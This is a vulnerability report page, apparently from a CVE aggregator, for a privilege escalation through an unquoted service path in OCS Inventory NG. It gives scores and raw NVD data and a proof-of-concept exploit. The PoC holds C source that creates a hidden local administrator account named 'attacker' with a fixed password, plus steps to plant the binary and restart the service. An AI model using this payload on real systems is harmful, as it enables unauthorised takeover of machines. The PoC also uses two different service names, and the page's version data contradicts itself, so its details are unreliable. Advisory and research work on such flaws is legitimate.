Security Vulnerability Report
中文
CVE-2023-53947 CVSS 8.4 HIGH

CVE-2023-53947

Published: 2025-12-19 21:15:50
Last Modified: 2026-04-15 00:35:42

Description

OCS Inventory NG 2.3.0.0 contains an unquoted service path vulnerability that allows local attackers to escalate privileges to system level. Attackers can place a malicious executable in the unquoted service path and trigger the service restart to execute code with elevated system privileges.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OCS Inventory NG < 2.3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2023-53947 PoC - OCS Inventory NG Unquoted Service Path # This PoC demonstrates the privilege escalation via unquoted service path import os import sys import subprocess import time def check_vulnerable_service(): """Check if OCS Inventory service is installed and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'OCS Inventory Service'], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME contains unquoted path with spaces if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line and ('Program Files' in line or 'Program Files (x86)' in line): if '"' not in line: return True, line.strip() return False, None except Exception as e: print(f"Error checking service: {e}") return False, None def create_malicious_executable(): """Generate malicious executable that creates admin user""" malicious_code = ''' #include <windows.h> #include <stdio.h> #include <stdlib.h> int main() { // Create new administrator user: attacker/P@ssw0rd123 system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); // Log the exploitation FILE *log = fopen("C:\\\\Windows\\\\Temp\\\\exploit.log", "a"); if (log) { fprintf(log, "[+] CVE-2023-53947 exploited at %s\n", __TIMESTAMP__); fclose(log); } return 0; } ''' return malicious_code def exploit(): """Main exploitation function""" print("[*] CVE-2023-53947 - OCS Inventory NG Unquoted Service Path EoP") print("[*] Checking for vulnerable service...") is_vulnerable, path_info = check_vulnerable_service() if is_vulnerable: print(f"[+] Service is vulnerable!") print(f"[+] Current path: {path_info}") print("[+] Please compile the malicious executable as 'OCSService.exe'") print("[+] Place it in an intermediate directory in the unquoted path") print("[+] Then trigger service restart: sc stop OCSInventoryService && sc start OCSInventoryService") else: print("[-] Service not vulnerable or not found") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53947", "sourceIdentifier": "[email protected]", "published": "2025-12-19T21:15:50.037", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OCS Inventory NG 2.3.0.0 contains an unquoted service path vulnerability that allows local attackers to escalate privileges to system level. Attackers can place a malicious executable in the unquoted service path and trigger the service restart to execute code with elevated system privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://github.com/OCSInventory-NG/WindowsAgent", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51389", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/ocs-inventory-ng-unquoted-service-path-privilege-escalation", "source": "[email protected]"}]}}